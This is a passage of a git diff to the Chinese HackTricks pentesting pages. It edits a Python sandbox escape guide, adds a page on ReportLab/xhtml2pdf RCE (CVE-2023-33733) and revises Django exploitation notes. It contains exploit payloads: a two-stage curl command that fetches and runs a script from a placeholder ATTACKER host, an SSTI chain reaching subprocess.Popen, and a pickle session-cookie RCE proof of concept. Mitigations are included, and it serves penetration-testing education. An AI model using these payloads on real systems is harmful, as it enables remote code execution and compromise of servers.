[one](https://github.com/python/cpython/blob/43303e362e3a7e2d96747d881021a14c7f7e3d0b/Lib/ctypes/__init__.py#L463): +Looking for a gadget like that in python, the writeup purposes this [**Github search query**](https://github.com/search?q=repo%3Apython%2Fcpython+%2Fdef+%28__getitem__%7C__getattr__%29%2F+path%3ALib%2F+-path%3ALib%2Ftest%2F&type=code). Where he found this [one](https://github.com/python/cpython/blob/43303e362e3a7e2d96747d881021a14c7f7e3d0b/Lib/ctypes/__init__.py#L463): ```python class LibraryLoader(object): def __init__(self, dlltype): @@ -765,18 +773,18 @@ return getattr(self, name) cdll = LibraryLoader(CDLL) pydll = LibraryLoader(PyDLL) ``` -这个工具允许**从磁盘加载库**。因此,需要以某种方式**写入或上传库**,以便正确编译到被攻击的服务器。 +该 gadget 允许 **从磁盘加载库**。因此,需要以某种方式**将要加载的库正确编译后写入或上传**到被攻击的服务器上。 ```python '{i.find.__globals__[so].mapperlib.sys.modules[ctypes].cdll[/path/to/file]}' ``` -挑战实际上利用了服务器中的另一个漏洞,该漏洞允许在服务器磁盘上创建任意文件。 +该挑战实际上利用了服务器中的另一个漏洞,该漏洞允许在服务器的磁盘上创建任意文件。 -## 解剖 Python 对象 +## 解析 Python 对象 > [!TIP] -> 如果你想深入**了解** **python 字节码**,请阅读这篇关于该主题的**精彩**文章:[**https://towardsdatascience.com/understanding-python-bytecode-e7edaae8734d**](https://towardsdatascience.com/understanding-python-bytecode-e7edaae8734d) +> 如果你想深入**学习** **python bytecode**,请阅读这篇**精彩**的文章:[**https://towardsdatascience.com/understanding-python-bytecode-e7edaae8734d**](https://towardsdatascience.com/understanding-python-bytecode-e7edaae8734d) -在一些 CTF 中,你可能会被提供一个**自定义函数的名称,其中包含标志**,你需要查看**函数**的**内部**以提取它。 +在某些 CTFs 中,你可能会被提供一个**自定义函数(flag 所在处)**的名称,你需要查看该**函数**的**内部**来提取它。 这是要检查的函数: ```python @@ -798,7 +806,7 @@ dir(get_flag) #Get info tof the function ``` #### globals -`__globals__` 和 `func_globals`(相同)获取全局环境。在示例中,您可以看到一些导入的模块、一些全局变量及其声明的内容: +`__globals__` and `func_globals`(相同)用于获取全局环境。在示例中你可以看到一些已导入的模块、一些全局变量及其声明的内容: ```python get_flag.func_globals get_flag.__globals__ @@ -807,11 +815,11 @@ get_flag.__globals__ #If you have access to some variable value CustomClassObject.__class__.__init__.__globals__ ``` -[**查看这里获取全局变量的更多地方**](#globals-and-locals) +[**See here more places to obtain globals**](#globals-and-locals) ### **访问函数代码** -**`__code__`** 和 `func_code`:您可以 **访问** 这个 **属性** 来 **获取函数的代码对象**。 +**`__code__`** and `func_code`: 您可以 **访问** 函数的这个 **属性** 以 **获取函数的代码对象**。 ```python # In our current example get_flag.__code__ @@ -871,7 +879,7 @@ get_flag.__code__.co_freevars get_flag.__code__.co_code 'd\x01\x00}\x01\x00d\x02\x00}\x02\x00d\x03\x00d\x04\x00g\x02\x00}\x03\x00|\x00\x00|\x02\x00k\x02\x00r(\x00d\x05\x00Sd\x06\x00Sd\x00\x00S' ``` -### **反汇编一个函数** +### **反汇编函数** ```python import dis dis.dis(get_flag) @@ -899,7 +907,7 @@ dis.dis(get_flag) 44 LOAD_CONST 0 (None) 47 RETURN_VALUE ``` -注意,如果**您无法在python沙箱中导入`dis`**,您可以获取函数的**字节码**(`get_flag.func_code.co_code`)并在本地**反汇编**它。您将看不到正在加载的变量的内容(`LOAD_CONST`),但您可以从(`get_flag.func_code.co_consts`)中推测它们,因为`LOAD_CONST`也会告诉正在加载的变量的偏移量。 +注意,**if you cannot import `dis` in the python sandbox**,你可以获得该函数的 **bytecode** (`get_flag.func_code.co_code`) 并在本地**disassemble**它。你不会看到被加载变量的内容(`LOAD_CONST`),但你可以从 (`get_flag.func_code.co_consts`) 猜出它们,因为 `LOAD_CONST` 也会告诉被加载变量的偏移。 ```python dis.dis('d\x01\x00}\x01\x00d\x02\x00}\x02\x00d\x03\x00d\x04\x00g\x02\x00}\x03\x00|\x00\x00|\x02\x00k\x02\x00r(\x00d\x05\x00Sd\x06\x00Sd\x00\x00S') 0 LOAD_CONST 1 (1) @@ -923,8 +931,8 @@ dis.dis('d\x01\x00}\x01\x00d\x02\x00}\x02\x00d\x03\x00d\x04\x00g\x02\x00}\x03\x0 ``` ## 编译 Python -现在,让我们想象一下,您可以以某种方式**转储您无法执行的函数的信息**,但您**需要**去**执行**它。\ -就像在以下示例中,您**可以访问该函数的代码对象**,但仅通过读取反汇编,您**不知道如何计算标志**(_想象一个更复杂的 `calc_flag` 函数_) +现在,假设你以某种方式可以 **dump 一个你无法执行的函数的信息**,但你**需要**去**执行**它。\ +就像下面的示例,你**可以访问该函数的 code object**,但仅通过查看 disassemble 你**不知道如何计算 flag**(_想象一个更复杂的 `calc_flag` function_) ```python def get_flag(some_input): var1=1 @@ -937,9 +945,9 @@ return calc_flag("VjkuKuVjgHnci") else: return "Nope" ``` -### 创建代码对象 +### 创建 code object -首先,我们需要知道 **如何创建和执行代码对象**,以便我们可以创建一个来执行我们的函数泄漏: +首先,我们需要知道 **how to create and execute a code object**,这样我们就可以创建一个来执行我们泄露的 function leaked: ```python code_type = type((lambda: None).__code__) # Check the following hint if you get an error in calling this @@ -959,7 +967,7 @@ mydict['__builtins__'] = __builtins__ function_type(code_obj, mydict, None, None, None)("secretcode") ``` > [!TIP] -> 根据 Python 版本,`code_type` 的 **参数** 可能有 **不同的顺序**。了解您正在运行的 Python 版本中参数的顺序的最佳方法是运行: +> 根据你运行的 python 版本,`code_type` 的 **参数** 可能有 **不同的顺序**。确定你所运行的 python 版本中参数顺序的最佳方法是运行: > > ``` > import types @@ -967,10 +975,10 @@ function_type(code_obj, mydict, None, None, None)("secretcode") > 'code(argcount, posonlyargcount, kwonlyargcount, nlocals, stacksize,\n flags, codestring, constants, names, varnames, filename, name,\n firstlineno, lnotab[, freevars[, cellvars]])\n\nCreate a code object. Not for the faint of heart.' > ``` -### 重新创建一个泄露的函数 +### 重新创建一个 leaked 函数 > [!WARNING] -> 在以下示例中,我们将直接从函数代码对象中获取重新创建函数所需的所有数据。在 **真实示例** 中,执行函数 **`code_type`** 所需的 **值** 是 **您需要泄露的内容**。 +> 在下面的示例中,我们将直接从函数的 code 对象获取重新创建该函数所需的所有数据。在一个 **真实的示例** 中,执行函数 **`code_type`** 所需的所有 **values** 就是你将需要 leak 的内容。 ```python fc = get_flag.__code__ # In a real situation the values like fc.co_argcount are the ones you need to leak @@ -983,10 +991,9 @@ function_type(code_obj, mydict, None, None, None)("secretcode") ``` ### 绕过防御 -在本文开头的前几个示例中,您可以看到 **如何使用 `compile` 函数执行任何 python 代码**。这很有趣,因为您可以 **在一行中执行整个脚本**,包括循环等(我们也可以使用 **`exec`** 做同样的事情)。\ -无论如何,有时在本地机器上 **创建** 一个 **编译对象** 并在 **CTF 机器** 上执行它可能是有用的(例如,因为我们在 CTF 中没有 `compiled` 函数)。 +在本文开头的示例中,你可以看到 **如何使用 `compile` 函数执行任意 python 代码**。这很有趣,因为你可以在 **一行** 中 **执行整个脚本**,包括循环等(我们也可以用 **`exec`** 达到同样效果)。\\\不过,有时在本地机器上**创建**一个**已编译对象**并在**CTF 机器**上执行会很有用(例如因为我们在 CTF 中没有 `compiled` 函数)。 -例如,让我们手动编译并执行一个读取 _./poc.py_ 的函数: +例如,下面我们手动编译并执行一个读取 _./poc.py_ 的函数: ```python #Locally def read(): @@ -1013,7 +1020,7 @@ mydict['__builtins__'] = __builtins__ codeobj = code_type(0, 0, 3, 64, bytecode, consts, names, (), 'noname', '', 1, '', (), ()) function_type(codeobj, mydict, None, None, None)() ``` -如果您无法访问 `eval` 或 `exec`,您可以创建一个 **适当的函数**,但直接调用它通常会失败,错误信息为:_在受限模式下构造函数不可访问_。因此,您需要一个 **不在受限环境中的函数来调用此函数。** +如果你无法访问 `eval` 或 `exec`,你可以创建一个**正确的函数**,但直接调用它通常会因为:_constructor not accessible in restricted mode_ 而失败。因此你需要一个**不在受限环境中的函数来调用该函数。** ```python #Compile a regular print ftype = type(lambda: None) @@ -1023,20 +1030,21 @@ f(42) ``` ## 反编译已编译的 Python -使用像 [**https://www.decompiler.com/**](https://www.decompiler.com) 这样的工具,可以 **反编译** 给定的已编译 Python 代码。 +使用像 [**https://www.decompiler.com/**](https://www.decompiler.com) 这样的工具,可以**反编译**给定的已编译 python 代码。 + +**查看本教程**: -**查看这个教程**: {{#ref}} ../../basic-forensic-methodology/specific-software-file-type-tricks/.pyc.md {{#endref}} -## 其他 Python +## 杂项 Python -### 断言 +### Assert -使用参数 `-O` 执行的 Python 将删除断言语句和任何依赖于 **debug** 值的代码。\ -因此,像这样的检查 +以参数 `-O` 在优化模式下执行的 Python 会移除 `assert` 语句以及任何基于 **debug** 值的条件代码。\ +因此,像下面这样的检查 ```python def check_permission(super_user): try: @@ -1047,7 +1055,7 @@ print(f"\nNot a Super User!!!\n") ``` 将被绕过 -## 参考文献 +## 参考资料 - [https://lbarman.ch/blog/pyjail/](https://lbarman.ch/blog/pyjail/) - [https://ctf-wiki.github.io/ctf-wiki/pwn/linux/sandbox/python-sandbox-escape/](https://ctf-wiki.github.io/ctf-wiki/pwn/linux/sandbox/python-sandbox-escape/) @@ -1055,5 +1063,8 @@ print(f"\nNot a Super User!!!\n") - [https://gynvael.coldwind.pl/n/python_sandbox_escape](https://gynvael.coldwind.pl/n/python_sandbox_escape) - [https://nedbatchelder.com/blog/201206/eval_really_is_dangerous.html](https://nedbatchelder.com/blog/201206/eval_really_is_dangerous.html) - [https://infosecwriteups.com/how-assertions-can-get-you-hacked-da22c84fb8f6](https://infosecwriteups.com/how-assertions-can-get-you-hacked-da22c84fb8f6) +- [CVE-2023-33733 (ReportLab rl_safe_eval expression evaluation RCE) – NVD](https://nvd.nist.gov/vuln/detail/cve-2023-33733) +- [c53elyas/CVE-2023-33733 PoC and write-up](https://github.com/c53elyas/CVE-2023-33733) +- [0xdf: University (HTB) – Exploiting xhtml2pdf/ReportLab CVE-2023-33733 to gain RCE](https://0xdf.gitlab.io/2025/08/09/htb-university.html) {{#include ../../../banners/hacktricks-training.md}} diff --git a/src/generic-methodologies-and-resources/python/bypass-python-sandboxes/reportlab-xhtml2pdf-triple-brackets-expression-evaluation-rce-cve-2023-33733.md b/src/generic-methodologies-and-resources/python/bypass-python-sandboxes/reportlab-xhtml2pdf-triple-brackets-expression-evaluation-rce-cve-2023-33733.md new file mode 100644 index 000000000..c1b81aad5 --- /dev/null +++ b/src/generic-methodologies-and-resources/python/bypass-python-sandboxes/reportlab-xhtml2pdf-triple-brackets-expression-evaluation-rce-cve-2023-33733.md @@ -0,0 +1,79 @@ +# ReportLab/xhtml2pdf [[[...]]] 表达式求值 RCE (CVE-2023-33733) + +{{#include ../../../banners/hacktricks-training.md}} + +本页记录了一个在 ReportLab 的 rl_safe_eval 中的实用沙箱逃逸和 RCE 原语,该函数被 xhtml2pdf 及其他将用户可控 HTML 渲染为 PDF 的流水线所使用。 + +CVE-2023-33733 影响 ReportLab 直到并包括 3.6.12 的版本。在某些属性上下文(例如 color)中,包裹在三重方括号 [[[ ... ]]] 的值会被 rl_safe_eval 在服务器端求值。通过构造一个从被列入白名单的 builtin(pow)枢纽到其 Python 函数 globals 的有效负载,攻击者可以到达 os 模块并执行命令。 + +关键点 +- 触发:向由 ReportLab/xhtml2pdf 解析的标记中被求值的属性(例如 )注入 [[[ ... ]]]。 +- 沙箱:rl_safe_eval 会替换危险的 builtins,但已求值的函数仍然暴露 __globals__。 +- 绕过:构造一个瞬态类 Word 来绕过 rl_safe_eval 的名称检查并访问字符串 "__globals__",同时避免被阻止的 dunder 过滤。 +- RCE:getattr(pow, Word("__globals__"))["os"].system("") +- 稳定性:执行后为属性返回一个有效值(对于 color,使用 and 'red')。 + +测试时机 +- 暴露 HTML-to-PDF 导出(用户资料、发票、报告)并在 PDF 元数据或 HTTP 响应注释中显示 xhtml2pdf/ReportLab 的应用。 +- exiftool profile.pdf | egrep 'Producer|Title|Creator' → "xhtml2pdf" producer +- PDF 的 HTTP 响应通常以 ReportLab 的 generator 注释开头 + +沙箱绕过工作原理 +- rl_safe_eval 删除或替换了许多 builtin(getattr, type, pow, ...)并对名称应用过滤以拒绝以 __ 开头或在 denylist 中的属性。 +- 然而,安全函数存在于可被访问的 func.__globals__ 的 globals 字典中。 +- 使用 type(type(1)) 恢复真实的内建 type 函数(绕过 ReportLab 的包装),然后定义一个从 str 派生的 Word 类并修改比较行为,使得: + - .startswith('__') → 始终 False(绕过 name startswith('__') 检查) + - .__eq__ 在第一次比较时返回 False(绕过 denylist 成员检查),之后返回 True(使 Python getattr 工作) + - .__hash__ 等于 hash(str(self)) +- 这样,getattr(pow, Word('__globals__')) 返回被包装的 pow 函数的 globals 字典,其中包含导入的 os 模块。然后:['os'].system('')。 + +最小利用模式(属性示例) +将有效负载放在被求值的属性中,并确保通过布尔与 'red' 返回一个有效的属性值。 + + +exploit + + +- 列表推导式形式允许单一表达式被 rl_safe_eval 接受。 +- 尾部的 and 'red' 返回一个有效的 CSS 颜色,使渲染不出错。 +- 根据需要替换命令;使用 ping 并配合 tcpdump 验证执行。 + +操作流程 +1) 识别 PDF 生成器 +- PDF Producer 显示 xhtml2pdf;HTTP 响应包含 ReportLab 注释。 +2) 找到被反射到 PDF 的输入(例如资料简介/描述)并触发导出。 +3) 使用低噪声 ICMP 验证执行 +- 运行:sudo tcpdump -ni icmp +- 有效负载:... system('ping ') ... +- Windows 通常默认发送恰好四个 echo 请求。 +4) 建立 shell +- 对于 Windows,可靠的两阶段方法可以避免引用/编码问题: +- 阶段 1(下载): + +exploit + +- 阶段 2(执行): + +exploit + +- 对于 Linux 目标,可以使用类似的 curl/wget 两阶段: +- system('curl http://ATTACKER/s.sh -o /tmp/s; sh /tmp/s') + +注意事项和提示 +- 属性上下文:color 是已知的被求值属性;ReportLab 标记中的其他属性也可能会求值。如果某个位置被消毒,尝试渲染到 PDF 流中的其他位置(不同字段、表格样式等)。 +- 引用:保持命令简洁。两阶段下载大大减少引用和转义的问题。 +- 可靠性:如果导出被缓存或排队,稍微改变有效负载(例如随机路径或查询)以避免命中缓存。 + +缓解与检测 +- 升级 ReportLab 至 3.6.13 或更高版本(CVE-2023-33733 已修复)。同时关注发行版包的安全公告。 +- 不要在未经严格清理的情况下将用户可控的 HTML/标记直接输入到 xhtml2pdf/ReportLab。对于不受信任的输入,移除/拒绝 [[[...]]] 求值构造和厂商特定标签。 +- 考虑对不受信任输入完全禁用或包装 rl_safe_eval 的使用。 +- 在 PDF 生成期间监视可疑的出站连接(例如导出文档时应用服务器发出的 ICMP/HTTP)。 + +参考资料 +- PoC 与技术分析: [c53elyas/CVE-2023-33733](https://github.com/c53elyas/CVE-2023-33733) +- 0xdf University HTB write-up(真实世界利用,Windows 两阶段有效负载):[HTB: University](https://0xdf.gitlab.io/2025/08/09/htb-university.html) +- NVD 条目(受影响版本):[CVE-2023-33733](https://nvd.nist.gov/vuln/detail/cve-2023-33733) +- xhtml2pdf 文档(标记/页面 概念):[xhtml2pdf docs](https://xhtml2pdf.readthedocs.io/en/latest/format_html.html) + +{{#include ../../../banners/hacktricks-training.md}} diff --git a/src/network-services-pentesting/pentesting-web/django.md b/src/network-services-pentesting/pentesting-web/django.md index 7eaaf801f..d8d9ba1e1 100644 --- a/src/network-services-pentesting/pentesting-web/django.md +++ b/src/network-services-pentesting/pentesting-web/django.md @@ -2,49 +2,58 @@ {{#include ../../banners/hacktricks-training.md}} -## 缓存操控到 RCE -Django 的默认缓存存储方法是 [Python pickles](https://docs.python.org/3/library/pickle.html),如果 [不受信任的输入被反序列化](https://media.blackhat.com/bh-us-11/Slaviero/BH_US_11_Slaviero_Sour_Pickles_Slides.pdf),可能导致 RCE。**如果攻击者能够获得对缓存的写入访问权限,他们可以将此漏洞升级为底层服务器上的 RCE**。 +## Cache Manipulation to RCE +Django 的默认缓存存储方式是 [Python pickles](https://docs.python.org/3/library/pickle.html),如果对 [untrusted input is unpickled](https://media.blackhat.com/bh-us-11/Slaviero/BH_US_11_Slaviero_Sour_Pickles_Slides.pdf) 可能导致 RCE。**如果攻击者能够获得对缓存的写权限,他们可以将此漏洞升级为对底层服务器的 RCE。** -Django 缓存存储在四个地方之一:[Redis](https://github.com/django/django/blob/48a1929ca050f1333927860ff561f6371706968a/django/core/cache/backends/redis.py#L12)、[内存](https://github.com/django/django/blob/48a1929ca050f1333927860ff561f6371706968a/django/core/cache/backends/locmem.py#L16)、[文件](https://github.com/django/django/blob/48a1929ca050f1333927860ff561f6371706968a/django/core/cache/backends/filebased.py#L16) 或 [数据库](https://github.com/django/django/blob/48a1929ca050f1333927860ff561f6371706968a/django/core/cache/backends/db.py#L95)。存储在 Redis 服务器或数据库中的缓存是最可能的攻击向量(Redis 注入和 SQL 注入),但攻击者也可能利用基于文件的缓存将任意写入转化为 RCE。维护者已将此标记为非问题。需要注意的是,缓存文件夹、SQL 表名和 Redis 服务器的详细信息将根据实现而有所不同。 +Django 的缓存存储在四种地方之一:[Redis](https://github.com/django/django/blob/48a1929ca050f1333927860ff561f6371706968a/django/core/cache/backends/redis.py#L12)、[memory](https://github.com/django/django/blob/48a1929ca050f1333927860ff561f6371706968a/django/core/cache/backends/locmem.py#L16)、[files](https://github.com/django/django/blob/48a1929ca050f1333927860ff561f6371706968a/django/core/cache/backends/filebased.py#L16),或一个 [database](https://github.com/django/django/blob/48a1929ca050f1333927860ff561f6371706968a/django/core/cache/backends/db.py#L95)。存储在 Redis 或 database 的缓存是最可能的攻击向量(Redis 注入和 SQL 注入),但攻击者也可能利用基于文件的缓存将任意写转为 RCE。维护者已将此标记为非问题。需要注意的是,缓存文件夹、SQL 表名和 Redis 服务的详细信息会根据实现而变化。 -此 HackerOne 报告提供了一个很好的、可重现的利用 Django 缓存存储在 SQLite 数据库中的示例:https://hackerone.com/reports/1415436 +这份 HackerOne 报告提供了一个很好的、可重现的示例,展示了如何利用存储在 SQLite database 中的 Django 缓存:https://hackerone.com/reports/1415436 --- -## 服务器端模板注入 (SSTI) -Django 模板语言 (DTL) 是 **图灵完备** 的。如果用户提供的数据被渲染为 *模板字符串*(例如通过调用 `Template(user_input).render()` 或当 `|safe`/`format_html()` 移除自动转义时),攻击者可能会实现完整的 SSTI → RCE。 +## Server-Side Template Injection (SSTI) +The Django Template Language (DTL) 是 **图灵完备** 的。如果将用户提供的数据以 *template string* 的形式渲染(例如通过调用 `Template(user_input).render()`,或当 `|safe`/`format_html()` 去除了自动转义时),攻击者可能实现完整的 SSTI → RCE。 ### 检测 -1. 查找对 `Template()` / `Engine.from_string()` / `render_to_string()` 的动态调用,这些调用包含 *任何* 未经过滤的请求数据。 -2. 发送基于时间或算术的有效负载: +1. 查找对 `Template()` / `Engine.from_string()` / `render_to_string()` 的动态调用,这些调用包含 *任何* 未消毒的请求数据。 +2. 发送基于时间或算术的 payload: ```django {{7*7}} ``` -如果渲染的输出包含 `49`,则输入被模板引擎编译。 +如果渲染输出包含 `49`,则输入被模板引擎编译。 -### 原语到 RCE -Django 阻止对 `__import__` 的直接访问,但 Python 对象图是可达的: +### 通往 RCE 的原语 +Django 阻止了对 `__import__` 的直接访问,但 Python 对象图是可以到达的: ```django {{''.__class__.mro()[1].__subclasses__()}} ``` -找到 `subprocess.Popen` 的索引(约400-500,具体取决于Python构建)并执行任意命令: +找到 `subprocess.Popen` 的索引(取决于 Python 构建,大约 400–500),并执行任意命令: ```django {{''.__class__.mro()[1].__subclasses__()[438]('id',shell=True,stdout=-1).communicate()[0]}} ``` -一个更安全的通用小工具是迭代直到 `cls.__name__ == 'Popen'`。 +更安全的通用 gadget 是迭代直到 `cls.__name__ == 'Popen'`。 -同样的小工具适用于 **Debug Toolbar** 或 **Django-CMS** 模板渲染功能,这些功能错误处理用户输入。 +相同的 gadget 也适用于 **Debug Toolbar** 或 **Django-CMS** 的模板渲染功能,这些功能不当处理用户输入时。 --- -## 基于 Pickle 的会话 Cookie RCE -如果设置 `SESSION_SERIALIZER = 'django.contrib.sessions.serializers.PickleSerializer'` 被启用(或自定义反序列化 pickle 的序列化器),Django *在* 调用任何视图代码 **之前** 解密并反序列化会话 Cookie。因此,拥有有效的签名密钥(默认情况下是项目的 `SECRET_KEY`)足以实现立即的远程代码执行。 +### 另见:ReportLab/xhtml2pdf PDF export RCE +基于 Django 的应用通常集成 xhtml2pdf/ReportLab 来将视图导出为 PDF。当受用户控制的 HTML 流入 PDF 生成时,rl_safe_eval 可能会评估三重括号 `[[[ ... ]]]` 内的表达式,从而允许代码执行 (CVE-2023-33733)。详情、payloads 和缓解措施: -### 利用要求 +{{#ref}} +../../generic-methodologies-and-resources/python/bypass-python-sandboxes/reportlab-xhtml2pdf-triple-brackets-expression-evaluation-rce-cve-2023-33733.md +{{#endref}} + +--- + +## Pickle-Backed Session Cookie RCE +If the setting `SESSION_SERIALIZER = 'django.contrib.sessions.serializers.PickleSerializer'` is enabled (or a custom serializer that deserialises pickle), Django *decrypts and unpickles* the session cookie **before** calling any view code. Therefore, possessing a valid signing key (the project `SECRET_KEY` by default) is enough for immediate remote code execution. + +### Exploit Requirements * 服务器使用 `PickleSerializer`。 -* 攻击者知道/可以猜测 `settings.SECRET_KEY`(通过 GitHub、`.env`、错误页面等泄露)。 +* 攻击者知道 / 能猜到 `settings.SECRET_KEY`(leaks via GitHub、`.env`、错误页面等)。 -### 概念验证 +### Proof-of-Concept ```python #!/usr/bin/env python3 from django.contrib.sessions.serializers import PickleSerializer @@ -58,22 +67,23 @@ return (os.system, ("id > /tmp/pwned",)) mal = signing.dumps(RCE(), key=b'SECRET_KEY_HERE', serializer=PickleSerializer) print(f"sessionid={mal}") ``` -发送结果 cookie,并且有效负载以 WSGI worker 的权限运行。 +发送生成的 cookie,payload 将以 WSGI worker 的权限运行。 **缓解措施**:保持默认的 `JSONSerializer`,轮换 `SECRET_KEY`,并配置 `SESSION_COOKIE_HTTPONLY`。 --- -## 最近(2023-2025)高影响力 Django CVE 渗透测试人员应检查 -* **CVE-2025-48432** – *通过未转义的 `request.path` 进行日志注入*(修复于 2025 年 6 月 4 日)。允许攻击者将换行符/ANSI 代码注入日志文件,并污染下游日志分析。补丁级别 ≥ 4.2.22 / 5.1.10 / 5.2.2。 -* **CVE-2024-42005** – *在 `JSONField` 上的 `QuerySet.values()/values_list()` 中的严重 SQL 注入*(CVSS 9.8)。构造 JSON 键以突破引号并执行任意 SQL。修复于 4.2.15 / 5.0.8。 +## 最近(2023-2025)对 Pentesters 有重大影响的 Django CVEs +* **CVE-2025-48432** – *Log Injection via unescaped `request.path`* (已修复于 2025 年 6 月 4 日)。允许攻击者将换行符/ANSI 代码走私到日志文件中,并污染下游的日志分析。修补级别 ≥ 4.2.22 / 5.1.10 / 5.2.2。 +* **CVE-2024-42005** – *Critical SQL injection* in `QuerySet.values()/values_list()` on `JSONField` (CVSS 9.8)。通过构造 JSON 键来突破引号并执行任意 SQL。已在 4.2.15 / 5.0.8 中修复。 -始终通过 `X-Frame-Options` 错误页面或 `/static/admin/css/base.css` 哈希指纹识别确切的框架版本,并在适用时测试上述内容。 +始终通过 `X-Frame-Options` 错误页面或 `/static/admin/css/base.css` 的哈希指纹来识别确切的框架版本,并在适用时测试上述问题。 --- -## 参考 -* Django 安全发布 – "Django 5.2.2, 5.1.10, 4.2.22 解决 CVE-2025-48432" – 2025 年 6 月 4 日。 -* OP-Innovate: "Django 发布安全更新以解决 SQL 注入缺陷 CVE-2024-42005" – 2024 年 8 月 11 日。 +## 参考资料 +* Django 安全公告 – "Django 5.2.2, 5.1.10, 4.2.22 address CVE-2025-48432" – 4 Jun 2025. +* OP-Innovate: "Django releases security updates to address SQL injection flaw CVE-2024-42005" – 11 Aug 2024. +* 0xdf: University (HTB) – Exploiting xhtml2pdf/ReportLab CVE-2023-33733 to gain RCE and pivot into AD – [https://0xdf.gitlab.io/2025/08/09/htb-university.html](https://0xdf.gitlab.io/2025/08/09/htb-university.html) {{#include ../../banners/hacktricks-training.md}}